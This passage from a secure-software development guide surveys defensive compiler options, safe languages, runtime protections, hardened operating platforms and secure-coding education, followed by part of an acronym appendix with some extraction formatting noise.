Application security mechanisms and other compile-time and runtime mechanisms implemented to counteract frequently targeted software vulnerabilities (never an optimal approach), are rapidly becoming less and less effective. Attackers are gaining knowledge of the workings of these “secure in deployment” countermeasures, and crafting techniques to bypass or subvert them. Gerardo Richarte of Core Security Technologies has published a paper describing four ways in which StackGuard and Stack Shield protections may be bypassed. Similarly, Wojciech Purczynski of iSEC Security Research posted a description on SecurityFocus’ Bugtraq on how to bypass Libsafe format string protections. (See Appendix B for resources on both.) This trend reinforces the rationale for making software “secure in development” so as to exclude these vulnerabilities in the first place. As Hurricane Katrina so tragically taught us, no matter how high you make a levee, it can never 100% guarantee that the houses below sea level will remain as safe as they would have been were they built on higher ground. By the same token, software that contains no exploitable defects in the first place cannot be successfully compromised by attacks targeting those defects, and thus won’t need any “in deployment” countermeasures to such attacks—countermeasures that will only become a high-value target themselves at some point.

6.2.1. Using Standard Compilers and Debuggers Securely

The level of type checking for C and C++ can be increased by turning on as many compilation flags as possible when compiling code for debugging, then revising the source code to cleanly compile with those flags. In addition, strict use of American National Standards Institute (ANSI) prototypes in separate header files will ensure that all function calls use the correct types. Source code should never be compiled with debugging options when compiling and linking the production binary executable. For one thing, some popular commercial operating systems have been reported to contain critical defects that enable an attacker to exploit the operating system’s standard, documented debug interface. This interface, designed to give the developer control of the program during testing, remains accessible in production systems, and has been exploited by attackers to gain control of programs accessed over the network in order to elevate the attacker’s privileges to that of the debugger program.

Many C/C++ compilers can detect inaccurate format strings. For example, GCC supports a C extension that can be used to mark functions that may contain inaccurate format strings, and the /GS compiler switch in Microsoft’s Visual C++.NET can be used to flag buffer overflows in runtime code. Many other compilers offer similar facilities.

6.2.2. “Safe” Programming Languages

Much research has been done to produce secure variants of C and C++ and other languages, and to define new secure programming languages. Java is probably the most successful example of a type-safe programming language that was conceived in part to avoid the security deficiencies of C++. Microsoft’s C#, similarly, attempts to extend C++ concepts into a safer (and more modern) language structure. Languages that have been designed with security as their main objective, however, have not been particularly successful, and have remained in the realm of research and academia. Some examples include Hermes, CCured, SafeC, Fail-Safe C, Cyclone, Vault, E, and Oz-E.

6.2.3. “Safe” Compilers, Compiler Extensions, and Runtime Libraries

The focus of “safe” compilers, and compiler extensions is the performance of compile-time checking (sometimes with code optimization) to flag and eliminate code constructs and errors with security implications, such as pointer and array access semantics that could generate memory access errors, and bounds checking of memory references to detect and prevent buffer overflow vulnerabilities on stacks and (sometimes) heaps. The majority of safe compilers and compiler extensions are intended for use with C and C++ code, and focus on avoiding buffer overflow vulnerabilities. Some commercial and open source compiler extensions are available, such as IBM’s Stack-Smashing Protector for GCC, and Safe-Secure C and C++ from Plum Hall, Inc.
Tools that use stack canaries, such as Visual Studio.NET and, Immunix StackGuard and IBM’s ProPolice for
GCC, and assembler preprocessors such as Stack Shield can help reduce susceptibility of C and C++ programs to
stack overflows. Heap overflows may be protected against by a malloc() debugger, such as ElectricFence.

NOTE: Immunix was recently acquired by Novell, and Immunix StackGuard Linux has been incorporated into
Novell’s AppArmor hardened application platform.

“Safe” software libraries detect the presence, at link time, of unsafe runtime library functions, such as those
known to be vulnerable to buffer overflow attacks, and replace those functionModes with safe versions or
alternatives. As with the safe compilers, the majority of these libraries are for C or C++ and focus on replacing
library routines that are prone to buffer overflow. An example is Libsafe from Avaya Labs.

Another tool of interest is BOWall, a program that implements runtime protection against buffer overflows for
binaries executed under Windows NT (New Technology). It is not clear, however, whether BOWall has been
updated to operate under Windows 2000 or Windows XP (eXPerience). Also, as noted in the discussion of
security testing tools in Section 5.4.6, Microsoft Visual Studio 2005 Enterprise Edition includes a number of tools
that support static and dynamic compile-time and runtime security analyses of source code and compiled binaries,
including espX, PREfix, and PREsharp.

### 6.2.4. Code Obfuscators

Code obfuscators are used to protect intermediate code forms, such as Java bytecode, as well as runtime-
interpreted source code, such as scripting code (Perl, PHP, Python, JavaScript), against decompilation and other
forms of reverse engineering. Obfuscation may also be used as a measure for protecting intellectual property, i.e.,
to protect user-viewable source code from being viewed or copied. Some examples include: Perl-obfusc (Stunnix),
CodeShield for Java (CodingArt), Thicket (Semantic Designs) source code obfuscators; DashO Java obfuscator
and Dotfuscator .NET obfuscator (PreEmptive Solutions), and EXECryptor (StrongBit Technology).

### 6.2.5. Content Filtering Programs

The intent of filtering programs is to identify and remove, transform, or isolate input or output that is suspected of
containing malicious content, such as worms or Trojan horses, “unsafe” constructs, such as buffer overflow
inducing data strings, or commands strings that enable unauthorized users to illicitly escalate their privileges.
Common content filtering packages include:

- **Security wrappers:** By and large, these must be developed from scratch, though a few have emerged as
open source offerings. Many are still in the realm of research, though are definitely interesting, such as
AT&T Bell Labs’ HEALERS toolkit. Other examples: Stanford Linear Accelerator Center (SLAC) CGI
Script Security Wrapper

- **Input validation filters:** Like security wrappers, these are still predominantly custom-built, with a few
made available under open source licenses by academics.

- **Application firewalls:** Extend the network firewall model up to the application layer, in order to detect
and block common web-based attacks such as cross-site scripting and SQL injection attacks. Commercial
and open source products come in both software-only and hardware/software “appliance” forms.
Examples: ModSecurity, Guardian@JUMPERZ.NET, KavaDo’s InterDo, F5 TrafficShield (F5 recently
purchased competing product, Watchfire’s AppShield, and plans to move all AppShield customers to
TrafficShield before decomissioning AppShield), Imperva SecureSphere, NetContinuum Application
Firewall.
- **eXtended Markup Language (XML) firewalls and security gateways**: XML firewalls protect against exploitation of XML vulnerabilities by acting as an XML proxy, and performing such checks and filtering functions as XML well-formedness checks, buffer overrun checks, schema validations, content filtering, and denial of service protection. XML security gateways augment firewall features with access control and secure routing functions. As with application firewalls, can be software-only, or “appliance”.

Examples: Reactivity Gateways, DataPower XS40 XML Security Gateway, Forum XWall

### 6.2.6. Secure Application Frameworks

As with constrained execution environments, application development frameworks provide execution environment security to software that runs within those frameworks. Unlike constrained execution environments, however, these frameworks also provide software libraries, prepackaged applications, and other resources to help the developer by providing standard implementations of functionality that many applications have in common.

Use of a framework enables developers to avoid having to custom-develop protocol implementations and other functions, for example functions used in all web services, such as XML parsing and service registration. This enables the developer to focus instead on implementing the functions that are unique to the application being developed. Secure application frameworks provide to both trusted and untrusted applications a set of security functions and services, security protections, and execution environment access controls that enable those applications to:

1. Execute with confidence that their integrity and the integrity of their resources (both at the individual component and whole-system levels) will be protected. In J2EE the integrity-assurance mechanism is the JVM. In .NET, the integrity-assurance mechanism is Code Security.

2. Interoperate with a set of predefined security services and interfaces to those services that are provided to programs that execute in the framework, thus eliminating the need for custom-development those security services and interfaces, or the need to acquire them from suppliers and integrate/assemble them.

Application frameworks include software libraries (or APIs to libraries) that implement standard protocols, and provide the logic of and APIs to other common functions, including common security functions such as authentication and authorization, SSL/TLS, HTTPS, cryptography, RBAC, etc. The frameworks also provide development tools to assist developers in implementing applications to run in those frameworks.

Several well-known application frameworks implement security models that can, to some extent, provide a basis for building secure distributed applications. In reality, however, only the extended implementations of J2EE platforms (such as IBM’s Websphere, Oracle’s 9i Application Server, and others) provide a rich enough set of security services to be leveraged effectively by applications.

Use of an application development middleware framework can minimize the likelihood of security problems being introduced through improper integration of application components. Both J2EE and .NET use Java as their “managed code architecture” to control the behavior of client and server application code that runs within the framework. Unlike J2EE, which retains Java’s essential portability, .NET is a proprietary framework that runs only on Microsoft Windows operating systems (though some open source and commercial .NET implementations for other platforms are emerging). .NET components provide little or no interoperability to application components running on other operating systems/in other frameworks.

However, as application systems become increasingly loosely coupled with the adoption of the SOA model, the dependency on application frameworks such as .NET and J2EE for the application’s security model will prevent developers from being able to make assumptions about the platform that a particular called service might be running on. An application may be developed to run on J2EE, but the security model implied by that design choice may be rendered irrelevant if the application becomes a component of a larger multi-platform distributed system. To this end, IBM, Microsoft, and VeriSign have developed the WS-* suite of Web Services protocols.
These protocols provide mechanisms that enable J2EE, .NET, and other SOA frameworks to support security policies and trust frameworks separate from the application framework’s underlying security model.

### 6.2.7. Secure Operating Platforms

Secure operating platforms are not really “development tools” but rather varieties of operating system-level, kernel-level, or hardware-level protections, enhancements, or variants that use various approaches to either isolate untrustworthy software from trusted software running on the system and/or to protect all software on the system from attacks by outsiders.

Some of these technologies are still in the research phases. The examples given below are all actually available, either commercially or open source:

- **Kernel-level protections**: Address specific vulnerabilities, such as buffer overflow vulnerabilities, by adding security protections to memory/page management, or preventing stack execution. Examples: kNoX, Openwall’s Linux kernel patch, the PaX Linux patch, ExecShield Linux patch, and OpenBSD.

- **Hybrid kernel- and processor-level protections**: Address buffer overflow vulnerabilities by enabling security protections for memory page management that prevent stack and heap execution, which provided by a number of processors: AMD AMD64, Intel IA64, IBM PowerPC, HP Alpha and HPPA, SPARC, and many others. OpenBSD enables this security protection on AMD64, IA64, PowerPC, HPPA, and Alpha processors in addition to emulating this feature on 32-bit x86 processors; the PaX Linux patch enables hardware support for all supported processors; Solaris enables hardware support; and Windows XP Professional SP 2, Windows Server 2003 SP 1, and later enable hardware support as well. Due to compatibility problems with some applications, some operating systems allow users or applications to disable hardware buffer overflow protection; ideally, it should be always enabled. While server processors and operating systems have provided hardware protection against buffer overflows for several years, consumer-level processors have begun shipping with this protection as well—which will reduce the effectiveness of buffer overflow attacks in the future.

- **Security-enhanced operating systems, operating system security enhancements**: Add security features to existing operating systems to address various vulnerabilities and/or add security functionality. Examples: OpenWall GNU/*/Linux (Owl), Immunix StackGuard Linux, the NSA’s Security-Enhanced Linux (SELinux), TrustedBSD, Trusted Computer Solutions’ Trusted Linux, Hewlett Packard’s Virtualvault, Innovative Security Systems’ PitBull LX, Computer Associates’ eTrust Access Control, and grsecurity for Linux. In the research realm, REMUS (REference Monitor for Unix Systems), which has yet to emerge from the lab.

- **Hardened operating systems**: Intended as platforms for highly sensitive applications and security applications, e.g., firewalls, intrusion detection systems, virtual private network (VPN) servers. The intent is similar to the minimized kernels described below, i.e., to disable, securely configure, or remove problematic and unnecessary services and resources that could be exploited by attackers. Examples: Nokia’s IPSO, OpenBSD, Guardian Digital’s EnGuarde Secure Linux

- **“Minimized” kernels and microkernels**: Modified versions of existing operating systems from which problematic and unnecessary features have been removed in order to produce a small, well-behaved environment that provides only the minimum core set of services and resources needed by the applications that run on them. Developers who write for these kernels need to be fully aware of what services and resources are missing, in order to ensure that their applications don’t rely on those services. Determining whether a acquired or reused component can run on one of these systems can be a challenge. Examples: LynuxWorks RTOS (Real Time Operating System) and BlueCat Linux (for embedded
systems), EROS (Extremely Reliable Operating System), Coyotos. In the research realm, work on the L4, L4.verified, and seL4 microkernels seems particularly promising.

- **Trusted operating systems**: Built from scratch to implement a trusted computing base, mandatory access control policy, and a reference monitor which enables stronger isolation of processes and data stored at different mandatory access levels, and strongly constrains accesses and interactions among those entities. Examples: Sun Microsystems’ Trusted Solaris, BAE/DigitalNet’s STOP (Secure Trusted Operating Platform)

- **Trusted hardware modules**: Similar in intent to VMs and sandboxes, provides even stronger hardware-enforced isolation of processes, in terms of their interactions with other processes, and their access to data. Examples: Technologies produced by the U.S. DoD’s Anti-Tamper Program; commercial Trusted Platform Modules (TPMs) from various vendors

In Unix and Linux systems in which no VM or application framework is being used, a constrained execution environment can be achieved by implementing a “chroot jail” in which to run the program to be constrained.

### 6.2.8. Browser Integrity Plug-Ins

Browser integrity plug-ins are software components that can be linked into a browser to enable the browser to provide integrity protections to the browser program itself (vs. security plug-ins that implement or interface to the security functions to be performed from within the browser). In general, such plug-ins augment the browser’s constrained execution environment for mobile code by providing functionality for code signature validation, or by performing client-side input validation.

### 6.2.9. Software Security Testing Tools

Software security testing tools were discussed in Section 5.4.6.

### 6.3. Education and Training of Developers

According to Glen Kunene, in his interview-article “Security Training Falling Through the Education Cracks”, “Even today, the average developer is insufficiently trained in secure coding practices, and few universities are paying any attention.” In the same article, interviewee Brian Cohen, Chief Executive Officer of SPI Dynamics, goes further to observe “Our universities are letting us down.” In the vast majority of universities developers are taught that the highest-value principles for good software are functionality and performance; security, if taught at all, is characterized as an “optional” principle that runs a distant third in importance behind functionality and performance, or it is marginalized as applicable only in specialty software written for cryptosystems and network security protocols. One Johns Hopkins professor explained in his interview for Kunene’s article, the main obstacle to adding security to computer science curricula: “Most of the tenured faculty view secure coding techniques as an exotic, boutique discipline, not as part of the core curriculum for computer science.”

Microsoft’s Steve Lipner and Michael Howard bemoan the inadequacy of computer science education. In their description of the SDL for this document, they stated “The majority of software engineers know little about building secure systems, and there is no near-term indication that educational institutions are likely to make the changes needed to introduce their students to the security challenges of today’s networked environment.” The vast majority of developers are not being taught how to recognize and understand the security implications of how they specify and design applications, write code, integrate/assemble components, test, package, distribute, and maintain software—and to gain the knowledge they need in order to change their current development practices in order to do all those things more securely.
Resigned, at least temporarily to the inadequacy of university computer science programs, an increasing number
of firms are undertaking their own in-house training and certification programs to teach their own developers how
to write software securely. In their MSDN whitepaper on SDL, Lipner and Howard observe “An organization that
seeks to develop secure software must take responsibility for ensuring that its engineering population is
appropriately educated…. It is critical that software development organizations provide in-house security
education to all personnel developing software.” Microsoft as well as Oracle Corporation can be seen as pioneers
and role models in developer security education: not only do the firms require their development personnel to
receive training in secure development, they have adjusted their employees’ performance assessment and
compensation schemes to reinforce their educational mandates.

Microsoft, for example, has established an extensive internal annual training program as part of its SDL initiative.
This program could serve well as a model for practitioner training in all software development organizations.
Microsoft’s annual classes for its software engineering personnel cover the following topics:

- Security basics (all new hires);
- Threat modeling (designers, program managers, architects);
- Secure design principles (designers, program managers, architects);
- Implementing threat mitigations (developers);
- Fuzz testing (testers);
- Security code reviews (developers);
- Cryptography basics (all personnel involved in software development).

Some Microsoft classes are delivered through classroom lectures; others, to better accommodate employee
schedules, are provided through online courseware whenever possible. Some classes include short labs and hands-
on exercises. Microsoft plans to introduce more labs into their curriculum over time.

In addition to in-house training programs, an increasing number of specialty training firms are attempting to fill in
the gaps in developer education by offering not only single classes but whole application security and secure
programming curricula. The Software Security Summit represents another approach to practitioner training: it is a
three-day annual “intensive” of continuous tutorials and classes on secure development topics.

Even on the university front, the picture is changing, albeit very gradually—as slowly, in fact, as small pockets of
academics at one university at a time. Matthew Bishop at UC-Davis, one academic who has embraced the
importance of secure software, has observed that “defensive programming” and secure software principles can be
taught to student developers by:

1. Emphasizing these principles in standard programming classes;
2. Critiquing programs and documentation;
3. Requiring students to apply them in all their programming assignments in all their classes, while also
   requiring specially-tailored “defensive programming” exercises to help drive the importance of secure
   software home.

In his program at UC-Davis, that is exactly how Bishop teaches—with the result that University of California-
Davis has received grants for secure software research projects from several agencies, including NASA and NSA.
Another leading advocate of software security education is Sam Redwine of James Madison University (JMU).
Redwine not only spearheaded the establishment of JMU’s Master’s concentration in secure software, but has led
the DHS effort to define a software assurance Common Body of Knowledge (described in Section 6.3.1) to form
the basis for other universities, colleges, and technical training programs to develop their own secure software engineering curricula.

Although internalizing the importance of secure software principles will not solve all security problems related to software, it will instill in student developers the discipline of thinking through all possible errors, of checking for corrupt inputs and parameters, and of programming defensively to handle unexpected problems. The result will be that they write programs that are better thought out, better structured, and more secure. Defensive programming teaches students how to look for hidden assumptions in their programs, and how to defend against attempts to exploit those assumptions to cause their programs to behave in unexpected or undesirable ways. Questioning assumptions leads the student developer to new insights and a deeper understanding not only of security but of computer science in general—an important goal for any developer’s education.

6.3.1. DHS Software Assurance Common Body of Knowledge

In order to assist those in academia and those who produce technical training in the teaching of secure software principles and associated practices, the DHS has produced a Software Assurance Common Body of Knowledge (CBK) that can be downloaded from the BuildSecurityIn portal (see Appendix B). Produced by the DHS Software Assurance Workforce Education and Training Working Group, the Software Assurance CBK is intended to be a first step towards achieving adequate education and training on software security, with the ultimate goal of eliminating skill shortages in government and industry, and to meet curriculum needs within universities, colleges, trade schools, and technical training programs. Specifically, the CBK seeks to:

- Influence and support the software engineering curricula produced by academia;
- Provide a basis for extending/improving the content of technical training provided to the current workforce;
- Aid personnel responsible for software purchases/acquisition in obtaining (more) secure software.
- Help evaluators and testers recognize software security-related criteria beyond what is covered in their current evaluations, and consider the implications of those criteria for evaluations of persons, organizations, and products.
- Encourage and facilitate standards bodies in the enclosure of security-related items in current and future standards.
- Provide software practitioners with a resource for self-education in secure software engineering or acquisition of secure software.

In addition, the CBK seeks to influence the content of future editions of the IEEE Computer Society’s Guide to the Software Engineering Body of Knowledge.

The information in the CBK addresses the following:

1. Identification of “conventional” software development activities and their “conventional” aspects;
2. Additional activities or aspects of activities that are relevant for producing secure software;
3. Knowledge needed to perform these additional activities.

Using this information, a teacher or trainer should be able to better craft software engineering curricula or training classes that incorporate items 2 and 3 into their approach to teaching item 1.
6.3.2. University Programs with a Software Security Focus

A number of schools have added secure programming classes to their curricula, but only a few universities have joined JMU in offering degree concentrations or specialties that reflect a recognition of the importance of security as part of the software engineering discipline.

A larger number of schools have well-established research programs and laboratories devoted to various aspects of software security. These programs and labs provide students (usually at the graduate level) with in-depth exposure to software security principles, reinforced by hands-on activities such as threat modeling, vulnerability assessment, “defensive programming”, methodology validation, etc.

A number of university programs with a software security focus are listed below. URLs for these programs and labs appear in Appendix B.

Universities with Degrees or Degree Concentrations in Secure Software Engineering

• James Madison University M.S. in Computer Science, Concentration in Secure SW Engineering
• Northern Kentucky University Graduate Certificate in Secure Software Engineering
• Walden University M.S. in SW Engineering, Specialization in Secure Computing
• University of Oldenburg TrustSoft Graduate School of Trustworthy Software Systems

Academic Software Security Research Programs and Labs

• Purdue University Secure Software Systems (S3)
• Purdue CERIAS Software Vulnerabilities Testing Group
• Purdue University SmashGuard Group
• Auburn University Samuel Ginn College of Engineering IA Laboratory
• Carnegie Mellon University Software Engineering Institute
• Oulu University (Finland) Secure Programming Group
• Bond University School of Information Technology (Queensland, AU) Software Assurance Research Centre
• Technical University of Munich Competence Center in IT Security
• Fraunhofer Institute Experimentelles Software Engineering (IESE) (Kaiserslautern, Germany) Department of Security and Safety
## APPENDIX A: ABBREVIATIONS AND ACRONYMS

The following list provides the amplifications of all abbreviations and acronyms used in this document.

<table>
<thead>
<tr>
<th>Abbreviation</th>
<th>Amplification</th>
</tr>
</thead>
<tbody>
<tr>
<td>a.k.a.</td>
<td>also known as</td>
</tr>
<tr>
<td>AA</td>
<td>Application Area</td>
</tr>
<tr>
<td>ACL</td>
<td>Access Control List</td>
</tr>
<tr>
<td>ACL2</td>
<td>Applicative Common Lisp 2</td>
</tr>
<tr>
<td>ACSM/SAR</td>
<td>Adaptive Countermeasure Selection Mechanism/Security Adequacy Review</td>
</tr>
<tr>
<td>ANSI</td>
<td>American National Standards Institute</td>
</tr>
<tr>
<td>AOD</td>
<td>Aspect Oriented Design</td>
</tr>
<tr>
<td>AOM</td>
<td>Aspect Oriented Modeling</td>
</tr>
<tr>
<td>AOP</td>
<td>Aspect Oriented Programming</td>
</tr>
<tr>
<td>AOSD</td>
<td>Aspect Oriented Software Development</td>
</tr>
<tr>
<td>API</td>
<td>Application Programmatic Interface</td>
</tr>
<tr>
<td>APPSEM</td>
<td>Applied Semantics</td>
</tr>
<tr>
<td>ARM</td>
<td>Automated Requirements Measurement</td>
</tr>
<tr>
<td>ASP</td>
<td>Active Server Page</td>
</tr>
<tr>
<td>ASSET</td>
<td>Automated Security Self-Evaluation Tool</td>
</tr>
<tr>
<td>AT&amp;T</td>
<td>American Telephone and Telegraph</td>
</tr>
<tr>
<td>AusCERT</td>
<td>Australian Computer Emergency Response Team</td>
</tr>
<tr>
<td>AVDL</td>
<td>Application Vulnerability Definition Language</td>
</tr>
<tr>
<td>BAE</td>
<td>originally amplified to British Aerospace (BAe); now designates the corporation formed by the merger of BAe with Marconi Electronic Systems (MES)</td>
</tr>
<tr>
<td>BANE</td>
<td>Berkeley ANalysis Engine</td>
</tr>
<tr>
<td>BFB</td>
<td>Brute Force Binary</td>
</tr>
<tr>
<td>BIA</td>
<td>Business Impact Analysis</td>
</tr>
<tr>
<td>BLAST</td>
<td>Berkeley Lazy Abstraction Software Verification Tool</td>
</tr>
<tr>
<td>BOWall</td>
<td>Buffer Overflow Wall</td>
</tr>
<tr>
<td>BS</td>
<td>British Standard</td>
</tr>
<tr>
<td>BSD</td>
<td>Berkeley Software Distribution</td>
</tr>
<tr>
<td>BT</td>
<td>British Telecom</td>
</tr>
<tr>
<td>C&amp;A</td>
<td>certification and accreditation</td>
</tr>
<tr>
<td>C4I</td>
<td>Command, Control, Communications, Computers, Intelligence Integration</td>
</tr>
<tr>
<td>CAML</td>
<td>Collaborative Application Markup Language</td>
</tr>
<tr>
<td>CASL</td>
<td>CoFI Algebraic Specification Language</td>
</tr>
<tr>
<td>CASL-LTL</td>
<td>CASL Linear time Temporal Logic extension</td>
</tr>
</tbody>
</table>
1  CC.............................................. Common Criteria
2  CCTA ........................................ Central Computer and Telecommunications Agency
3  CGI ............................................. Common Gateway Interface
4  CLASP....................................... Comprehensive, Lightweight Application Security Process
5  CLR ........................................... Common Language Runtime
6  CM............................................. Configuration Management
7  CM............................................. Configuration Management
8  CMM ......................................... Capability Maturity Model
9  CMMI........................................ CMM-Integrated
10 CMU........................................ Carnegie Mellon University
11 CoBIT ........................................ Control Objectives for Information and related Technology
12 CoFI........................................... Common Framework Initiative
13 COMBINE................................. COMponent-Based Interoperable Enterprise
14 CONOPS ................................. CONcept of OPerationS
15 CORAS...................................... Consultative Objective Risk Analysis System
16 COTS......................................... Commercial-Off-The-Shelf
17 CRAMM................................. CCTA Risk Analysis and Management Method
18 CTMM....................................... Calculative Threat Modeling Methodology
19 CVE........................................... Common Vulnerabilities and Exposures
20 DAO .......................................... Data Access Object
21 DbC .......................................... Design by Contract
22 DCID ......................................... Director of Central Intelligence Directive
23 DHS........................................... Department of Homeland Security
24 DHTML..................................... Dynamic HTML
25 DIACAP .................................... DoD Information Assurance Certification and Accreditation Process
26 DISA.......................................... Defense Information Systems Agency
27 DITSCAP ................................. DoD Information Technology Security Certification and Accreditation Process
28 DLL ........................................... dynamic link library
29 DoD ........................................... Department of Defense
30 DOM.......................................... Document Object Model
31 DoS .......................................... Denial of Service
32 DREAD ..................................... Damage potential, Reproducibility, Exploitability, Affected users, Discoverability
33 e.g. ............................................. exempla grata, Latin term which means "given as an example"
34 EAL ........................................... Evaluation Assurance Level
ebXML ...................................... Electronic Business XML
EROS......................................... Extremely Reliable Operating System
ESC............................................ Extended Static Checker
ESPRIT...................................... European Strategic Program on Research in Information Technology
EU.............................................. European Union
FAA........................................... Federal Aviation Administration
FIPS........................................... Federal Information Processing Standard
FIRM ......................................... Fundamental Information Risk Management
FISMA....................................... Federal Information Security Management Act
FITSAF...................................... Federal Information Technology Security Assessment Framework
FMF........................................... Flexible Modeling Framework
FSR............................................ Final Security Review
FTP ............................................ File Transfer Protocol
GAISP ....................................... Generally Accepted Information Security Principles
GNU .......................................... Gnu’s Not Unix
GOTS......................................... Government-Off-The-Shelf
GrAnDe ..................................... Ground And Decide
HEALERS................................. HEALers Enhanced Reliability and Security. This appears to be a recursive acronym, but no amplification of HEAL is available.
HOL........................................... High Order Logic
HTML........................................ HyperText Markup Language
HTTP ......................................... HyperText Transmission Protocol
HTTP ......................................... HTTP-Secure
i.e. .............................................. id est, Latin term which means “that is"
I/O.............................................. Input/Output
IA............................................... Information Assurance
IAVA ......................................... Information Assurance Vulnerability Alert
iCMM ........................................ Integrated CMM
ICSA.......................................... International Computer Security Association
IDE ............................................ Integrated Development Environment
IEC............................................. International Electrotechnical Commission
INFOSEC .................................. INFOrmation SECurity
INKA ........................................ amplification not available
iCMM ........................................ Integrated CMM
IP .............................................. Internet Protocol
IPSO .......................................... amplification not available
IRAM............................ Information Risk Analysis Methodologies
ISF ................................ Information Security Foundation
ISO................................. International Standards Organization
ISSA ................................ Information Systems Security Association
IT ....................................... Information Technology
ITC-IRST ............................. Istituto Trentino di Cultura—Il centro per la Ricerca Scientifica e Tecnologica
(Trentino Cultural Institute Center for Scientific and Technological Research)
ITIL ................................ Information Technology Infrastructure Library
ITS4 .................................... amplification not available
IV&V ................................. Independent Verification and Validation
J2EE ................................. Java 2 platform, Enterprise Edition
JAD ..................................... Joint Application Design (or Development)
JMU ..................................... James Madison University
JPL ..................................... Jet Propulsion Laboratory
JSP ..................................... Java Server Page
JTC ..................................... Joint Technical Committee
JVM ..................................... Java Virtual Machine
LDAP ................................... Lightweight Directory Access Protocol
MARCORSYSCOM ................. Marine Corps Systems Command
MDA ..................................... Model Driven Architecture
ML ...................................... MetaLanguage
MSC ..................................... Message Sequence Chart
NASA .................................. National Aeronautics and Space Administration
NCSC .................................. National Computer Security Center
NCST .................................. National Cyber Security Taskforce
NIACAP ............................... National Information Assurance Certification and Accreditation Process
NIST .................................. National Institutes of Standards and Technologies
NRL ..................................... Naval Research Laboratory
NRL ..................................... Naval Research Laboratory
NSA ..................................... National Security Agency
NT ...................................... New Technology
Nuprl .................................... New Proof/Program Refinement Logic
NuSMV ............................... New Software Modeling and Verification
OASIS ................................. Organization for the Advancement of Structured Information Standards
OCL ..................................... Object Constraint Language
<table>
<thead>
<tr>
<th>No.</th>
<th>Term</th>
<th>Definition</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>OCTAVE</td>
<td>Operationally Critical Threat, Asset, and Vulnerability Evaluation</td>
</tr>
<tr>
<td>2</td>
<td>OCTAVE-S</td>
<td>OCTAVE Secure</td>
</tr>
<tr>
<td>3</td>
<td>OFMC</td>
<td>On-the-Fly Model Checker</td>
</tr>
<tr>
<td>4</td>
<td>OMG</td>
<td>Object Management Group</td>
</tr>
<tr>
<td>5</td>
<td>OSD</td>
<td>Office of the Secretary of Defense</td>
</tr>
<tr>
<td>6</td>
<td>OWASP</td>
<td>Open Web Application Security Project</td>
</tr>
<tr>
<td>7</td>
<td>PA</td>
<td>Practice Area</td>
</tr>
<tr>
<td>8</td>
<td>PBT</td>
<td>Property-Based Tester; Property-Based Testing</td>
</tr>
<tr>
<td>9</td>
<td>Perl</td>
<td>Practical extraction and report language</td>
</tr>
<tr>
<td>10</td>
<td>PHP</td>
<td>a recursive acronym that amplifies to PHP Hypertext Processor; the P in PHP originally stood for Personal Home Page</td>
</tr>
<tr>
<td>11</td>
<td>PKI</td>
<td>Public Key Infrastructure</td>
</tr>
<tr>
<td>12</td>
<td>PL/SQL</td>
<td>Procedural Language/SQL</td>
</tr>
<tr>
<td>13</td>
<td>PROMELA</td>
<td>PROcess MEta LAnguage</td>
</tr>
<tr>
<td>14</td>
<td>PSM</td>
<td>Platform Specific Model</td>
</tr>
<tr>
<td>15</td>
<td>PTA</td>
<td>Practical Threat Analysis</td>
</tr>
<tr>
<td>16</td>
<td>PVS</td>
<td>Prototype Verification System</td>
</tr>
<tr>
<td>17</td>
<td>RAIi</td>
<td>Resource Acquisition Is Initialization</td>
</tr>
<tr>
<td>18</td>
<td>RAISE</td>
<td>Rigorous Approach to Industrial Software Engineering</td>
</tr>
<tr>
<td>19</td>
<td>RATS</td>
<td>Rough Auditing Tool for Security</td>
</tr>
<tr>
<td>20</td>
<td>RBAC</td>
<td>Role Based Access Control</td>
</tr>
<tr>
<td>21</td>
<td>RDBMS</td>
<td>Relational Database Management System</td>
</tr>
<tr>
<td>22</td>
<td>REMUS</td>
<td>REference Monitor for Unix Systems</td>
</tr>
<tr>
<td>23</td>
<td>REVEAL</td>
<td>Requirements Engineering VErification and vALidation</td>
</tr>
<tr>
<td>24</td>
<td>RM-ODP</td>
<td>Reference Model for Open Distributed Processing</td>
</tr>
<tr>
<td>25</td>
<td>ROSE</td>
<td>Rational Object-oriented Software Engineering</td>
</tr>
<tr>
<td>26</td>
<td>RRT</td>
<td>Rigorous Review Technique</td>
</tr>
<tr>
<td>27</td>
<td>RSL</td>
<td>RAISE Specification Language</td>
</tr>
<tr>
<td>28</td>
<td>RSSR</td>
<td>Reducing Software Security Risk</td>
</tr>
<tr>
<td>29</td>
<td>RTOS</td>
<td>Real Time Operating System</td>
</tr>
<tr>
<td>30</td>
<td>RUP</td>
<td>Rational Unified Process</td>
</tr>
<tr>
<td>31</td>
<td>S&amp;S</td>
<td>Safety and Security</td>
</tr>
<tr>
<td>32</td>
<td>SAL</td>
<td>Symbolic Analysis Laboratory</td>
</tr>
<tr>
<td>33</td>
<td>SAMATE</td>
<td>Software Assurance Metrics and Tool Evaluation</td>
</tr>
<tr>
<td>34</td>
<td>SARA</td>
<td>Security Auditor’s Research Assistant</td>
</tr>
</tbody>
</table>
SC .............................................. SubCommittee
SCADA ..................................... Supervisory Control And Data Acquisition
SCR ........................................... Software Cost Reduction
SCR ........................................... Software Cost Reduction
SDK ........................................... software developer kit
SDL ........................................... Security Development Lifecycle
SDL ........................................... Specification and Description Language
SECURIS ................................... (model-driven development and analysis of) SECURE Information Systems
SEI ............................................. Software Engineering Institute
SELinux ..................................... Security-Enhanced Linux
SLAC ........................................... Stanford Linear Accelerator Center
SMTP ......................................... Simple Mail Transfer Protocol
SOAP ......................................... Simple Object Access Protocol
SOFL ......................................... Structured Object-oriented Formal Language
SP ............................................... Special Publication
SPIN .......................................... Simple PROMELA Interpreter
Splint ......................................... Secure Programming Lint
SPRINT ..................................... Simplified Process for Risk Identification
SQL ........................................... Structured Query Language
SQM .......................................... Software Quality Management
SQUARE ................................... System QUALity Requirements Engineering
SRI ............................................. Science Research
SSAI .......................................... Software Security Assessment Instrument
SSE-CMM .................................... System Security Engineering CMM
SSL ............................................ Secure Socket Layer
ST&E ......................................... Security Test and Evaluation
STIG .......................................... Secure Technical Implementation Guide
STOP ......................................... Secure Trusted Operating Platform
STRIDE ..................................... Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, Elevation of privilege
TDD ........................................... Test Driven Development
TFM ........................................... Trusted Facility Manual
TICSA ....................................... TruSecure ICSA certification
TLA+ ......................................... Temporal Logic of Actions-Plus
TLC ........................................... Temporal Logic Checker

pg. 134
<table>
<thead>
<tr>
<th>No.</th>
<th>Term</th>
<th>Definition</th>
</tr>
</thead>
<tbody>
<tr>
